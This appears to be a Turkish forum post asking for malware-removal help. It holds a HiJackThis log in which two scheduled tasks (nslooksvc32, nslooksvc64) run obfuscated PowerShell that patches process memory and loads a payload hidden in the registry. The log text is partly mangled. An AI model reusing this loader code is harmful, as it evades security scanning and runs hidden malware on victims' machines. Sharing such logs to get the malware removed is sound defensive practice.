C:\Users\muhan\Desktop\HiJackThis. exe 1 C:\Windows\explorer. exe 1 C:\Windows\System32\amdfendrsr. exe 1 C:\Windows\System32\audiodg. exe 2 C:\Windows\System32\csrss. exe 1 C:\Windows\System32\ctfmon. exe 1 C:\Windows\System32\dasHost. exe 2 C:\Windows\System32\DriverStore\FileRepository\realtekservice. inf_amd64_3dd75df32535321a\RtkAudUService64. exe 1 C:\Windows\System32\DriverStore\FileRepository\u0376724. inf_amd64_aa44b9d5e398e987\B376581\atieclxx. exe 1 C:\Windows\System32\DriverStore\FileRepository\u0376724. inf_amd64_aa44b9d5e398e987\B376581\atiesrxx. exe 1 C:\Windows\System32\dwm. exe 2 C:\Windows\System32\fontdrvhost. exe 1 C:\Windows\System32\lsass. exe 4 C:\Windows\System32\RuntimeBroker. exe 1 C:\Windows\System32\SearchIndexer. exe 1 C:\Windows\System32\SecurityHealthService. exe 1 C:\Windows\System32\SecurityHealthSystray. exe 1 C:\Windows\System32\services. exe 1 C:\Windows\System32\SettingSyncHost. exe 1 C:\Windows\System32\SgrmBroker. exe 1 C:\Windows\System32\sihost. exe 1 C:\Windows\System32\smartscreen. exe 1 C:\Windows\System32\smss. exe 1 C:\Windows\System32\spoolsv. exe 70 C:\Windows\System32\svchost. exe 1 C:\Windows\System32\taskhostw. exe 2 C:\Windows\System32\wbem\WmiPrvSE. exe 1 C:\Windows\System32\wininit. exe 1 C:\Windows\System32\winlogon. exe 1 C:\Windows\SystemApps\Microsoft. LockApp_cw5n1h2txyewy\LockApp. exe 1 C:\Windows\SystemApps\Microsoft. Windows. Search_cw5n1h2txyewy\SearchApp. exe 1 C:\Windows\SystemApps\Microsoft. Windows. StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost. exe 1 C:\Windows\SystemApps\MicrosoftWindows. Client. CBS_cw5n1h2txyewy\TextInputHost. exe 1 C:\Windows\SysWOW64\dllhost. exe O2 - HKLM\..\BHO: Java Plug-In 2 SSV Helper - - C:\Program Files\Java\jre1.8.0_51\bin\jp2ssv. dll O2 - HKLM\..\BHO: Java Plug-In SSV Helper - - C:\Program Files\Java\jre1.8.0_51\bin\ssv. dll O4 - HKCU\..\Run: = C:\Users\muhan\AppData\Local\Programs\Blitz\Blitz. exe --autostart O4 - HKCU\..\Run: = C:\Users\muhan\AppData\Local\Discord\Update. exe --processStart Discord. exe O4 - HKCU\..\StartupApproved\Run: = C:\Users\muhan\AppData\Local\Programs\Opera GX\assistant\browser_assistant. exe (2021/05/13) O4 - HKLM\..\Run: = C:\Program Files\Riot Vanguard\vgtray. exe O4 - HKLM\..\Run: = C:\Windows\System32\DriverStore\FileRepository\realtekservice. inf_amd64_3dd75df32535321a\RtkAudUService64. exe -background O17 - DHCP DNS 1: 192.168.1.1 O22 - BITS Job: - http://edgedl.me. gvt1.com/edgedl/release2/chrome_component/fay7bjcbpgagtaithciieeva4u_20220222.431134436/obedbbhbpmojnkanicioggnmelmoomoc_20220222.431134436_all_TR500000_ktwdq23epwopvzpl77f6epukky. crx3 -> C:\Users\muhan\AppData\Local\Temp\chrome_BITS_9464_2144227497\obedbbhbpmojnkanicioggnmelmoomoc_20220222.431134436_all_TR500000_ktwdq23epwopvzpl77f6epukky. crx3 O22 - BITS Job: Fix all O22 - Task : CreateExplorerShellUnelevatedTask. job - C:\Windows\explorer. exe O22 - Task : nslooksvc32. job - O22 - Task : nslooksvc64. job - O22 - Task: C:\Windows\System32\Tasks\McAfee O22 - Task: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\nslooksvc32 O22 - Task: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\nslooksvc64 O22 - Task: \Agent Activation Runtime\S-1-5-21-1593825937-2386105780-1848293327-1001 - C:\Windows\System32\AgentActivationRuntimeStarter. exe O22 - Task: \Agent Activation Runtime\S-1-5-21-1593825937-2386105780-1848293327-1005 - C:\Windows\System32\AgentActivationRuntimeStarter. exe O22 - Task: \Microsoft\Windows\Management\Provisioning\Retry - C:\Windows\system32\ProvTool. exe /turn 5 /source ProvRetryTask O22 - Task: \Microsoft\Windows\Management\Provisioning\RunOnReboot - C:\Windows\system32\ProvTool. exe /turn 5 /source ContinueSessionTask O22 - Task: \Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work - C:\Windows\system32\usoclient. exe StartMaintenanceWork O22 - Task: \Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work - C:\Windows\system32\usoclient. exe StartWork O22 - Task: googleupdatetaskmachinecore - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /c O22 - Task: googleupdatetaskmachineua - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /ua /installsource scheduler O22 - Task: \Microsoft\Windows\Application Experience\PcaPatchDbTask - C:\Windows\system32\rundll32. exe C:\Windows\system32\PcaSvc. dll, PcaPatchSdbTask O22 - Task: \Microsoft\Windows\Defrag\ScheduledDefrag - C:\Windows\system32\defrag. exe \\?\Volume \ O22 - Task: \Mozilla\Firefox Background Update 308046B0AF4A39CB - C:\Program Files\Mozilla Firefox\firefox. exe --MOZ_LOG sync, prependheader, timestamp, append, maxsize:1, Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate. moz_log --backgroundtask backgroundupdate O22 - Task: \Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB - C:\Program Files\Mozilla Firefox\default-browser-agent. exe do-task "308046B0AF4A39CB" O22 - Task: AMDInstallLauncher - C:\Program Files\AMD\CIM\Bin64\InstallManagerApp. exe /InstallAUEP O22 - Task: AMDLinkUpdate - C:\Program Files\AMD\CIM\Bin64\InstallManagerApp. exe -AMDLinkUpdate O22 - Task: AMDRyzenMasterSDKTask - C:\Program Files\AMD\CNext\CNext\cpumetricsserver. exe O22 - Task: Kaspersky_Upgrade_Launcher_ - C:\Program Files\Common Files\AV\Kaspersky Lab\upgrade_launcher. exe /waitUpgrade O22 - Task: ModifyLinkUpdate - C:\Program Files\AMD\CIM\Bin64\InstallManagerApp. exe -UpdateCurrentUser O22 - Task: nslooksvc32 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell. exe "function Local:KUUibsYzdVVZ $esKTVjEbEydev=( ::CurrentDomain. GetAssemblies |Where-Object ). GetType('Microsoft. Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$BLsWUgXPabQYEv=$esKTVjEbEydev. GetMethod('Ge'+'tPr'+'ocAdd'+'ress', 'Public, Static',$Null, ::Any,@ . GetType , ),$Null);$zhDFYQRlKZJklGZhJlg=KUUibsYzdVVZ @ ;$HouUUsVdZbZakOwaaqnUNb=KUUibsYzdVVZ @( , , , . MakeByRefType ;$FjTfoJARZLM=$esKTVjEbEydev. GetMethod . Invoke($Null,@( ('kern'+'el'+'32. dll')));$qIROLtoHyfQMRl=$BLsWUgXPabQYEv. Invoke($Null,@( $FjTfoJARZLM, ;$BzKZfVwvYaCgfQTdI=$BLsWUgXPabQYEv. Invoke($Null,@( $FjTfoJARZLM, ;$gqDzMuu= ::GetDelegateForFunctionPointer . Invoke ;$thgHnFpRwqzfvbdgl=$BLsWUgXPabQYEv. Invoke($Null,@( $gqDzMuu, ;$tFojzPMnml=0; ::GetDelegateForFunctionPointer . Invoke($thgHnFpRwqzfvbdgl, 8,4, $tFojzPMnml); ::Copy([Byte ](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$thgHnFpRwqzfvbdgl,8); ::GetDelegateForFunctionPointer . Invoke($thgHnFpRwqzfvbdgl, 8,0x20, $tFojzPMnml); ::Load( ::LocalMachine. OpenSubkey . GetValue . EntryPoint. Invoke " O22 - Task: nslooksvc64 - C:\Windows\System32\WindowsPowerShell\v1.0\powershell. exe "function Local:yZzuiYRezadz $EznyfjngDAhAs=( ::CurrentDomain. GetAssemblies |Where-Object ). GetType('Microsoft. Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$sYOssrpLYJJpjX=$EznyfjngDAhAs. GetMethod('Ge'+'tPr'+'ocAdd'+'ress', 'Public, Static',$Null, ::Any,@ . GetType , ),$Null);$aAfmdyFNvhcWtryWFmg=yZzuiYRezadz @ ;$iyqMBNsEEaEwzblKaRROoC=yZzuiYRezadz @( , , , . MakeByRefType ;$LUQEzwkExfi=$EznyfjngDAhAs. GetMethod . Invoke($Null,@( ('kern'+'el'+'32. dll')));$vESqRXeDRnNXMw=$sYOssrpLYJJpjX. Invoke($Null,@( $LUQEzwkExfi, ;$gsFUORhqEFVSkXOmO=$sYOssrpLYJJpjX. Invoke($Null,@( $LUQEzwkExfi, ;$MyWMWhO= ::GetDelegateForFunctionPointer . Invoke ;$SNXmKatLTctWUQlcY=$sYOssrpLYJJpjX. Invoke($Null,@( $MyWMWhO, ;$VNvaCoBJHL=0; ::GetDelegateForFunctionPointer . Invoke($SNXmKatLTctWUQlcY, 8,4, $VNvaCoBJHL); ::Copy([Byte ](0xb8,0x57,0,7,0x80,0xc3),0,$SNXmKatLTctWUQlcY,6); ::GetDelegateForFunctionPointer . Invoke($SNXmKatLTctWUQlcY, 8,0x20, $VNvaCoBJHL); ::Load( ::LocalMachine. OpenSubkey . GetValue . EntryPoint. Invoke " O22 - Task: OneDrive Per-Machine Standalone Update Task - C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater. exe O22 - Task: OneDrive Reporting Task-S-1-5-21-1593825937-2386105780-1848293327-1005 - C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater. exe /reporting O22 - Task: OneDrive Standalone Update Task-S-1-5-21-1058129444-4087973727-844704433-500 - C:\Users\muhan\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater. exe O22 - Task: Opera GX scheduled assistant Autoupdate 1620210764 - C:\Users\muhan\AppData\Local\Programs\Opera GX\launcher. exe --scheduledautoupdate --component-name=assistant --component-path="C:\Users\muhan\AppData\Local\Programs\Opera GX\assistant" $(Arg0) O22 - Task: Opera GX scheduled Autoupdate 1618946092 - C:\Users\muhan\AppData\Local\Programs\Opera GX\launcher. exe --scheduledautoupdate $(Arg0) O22 - Task: StartCN - C:\Program Files\AMD\CNext\CNext\cncmd. exe startwithdelay O22 - Task: StartDVR - C:\Program Files\AMD\CNext\CNext\RSServCmd. exe O23 - Service R2: AMD Crash Defender Service - C:\Windows\System32\amdfendrsr. exe O23 - Service R2: AMD External Events Utility - C:\Windows\System32\DriverStore\FileRepository\u0376724. inf_amd64_aa44b9d5e398e987\B376581\atiesrxx. exe O23 - Service R2: Realtek Audio Universal Service - - C:\Windows\System32\DriverStore\FileRepository\realtekservice. inf_amd64_3dd75df32535321a\RtkAudUService64. exe O23 - Service R2: vgc - C:\Program Files\Riot Vanguard\vgc. exe O23 - Service S3: BattlEye Service - - C:\Program Files (x86)\Common Files\BattlEye\BEService. exe O23 - Service S3: EasyAntiCheat - C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat. exe O23 - Service S3: FileSyncHelper - C:\Program Files\Microsoft OneDrive\22.022.0130.0001\FileSyncHelper. exe O23 - Service S3: Google Chrome Elevation Service - - C:\Program Files\Google\Chrome\Application\96.0.4664.110\elevation_service. exe O23 - Service S3: Google Güncelleme Hizmeti - - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /svc O23 - Service S3: Google Güncelleme Hizmeti - - C:\Program Files (x86)\Google\Update\GoogleUpdate. exe /medsvc O23 - Service S3: Letasoft Sound Booster Service - - C:\Program Files (x86)\Letasoft Sound Booster\SoundBoosterService. exe O23 - Service S3: Mozilla Maintenance Service - - C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice. exe O23 - Service S3: OneDrive Updater Service - C:\Program Files\Microsoft OneDrive\22.022.0130.0001\OneDriveUpdaterService. exe O23 - Service S3: Rockstar Game Library Service - - D:\Games\Grand Theft Auto V\Launcher\RockstarService. exe O23 - Service S3: Steam Client Service - C:\Program Files (x86)\Common Files\Steam\steamservice. exe /RunAsService Debug information: - 06.03.2022 21:58:01 - LoadFileToStream -

Windows'un ayarlarından 'Bu bilgisayarı sıfırla' yapsam olur mu? Ya da başka bir çözümü yok mudur?

Fixlog MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere. www.mediafire.com Hocam fixlog notu yukarıda fakat farbar recovery otomatik olarak D diskime inmiş Windows C diskimde kurulu sorun olur mu? @acv hocam neredesiniz.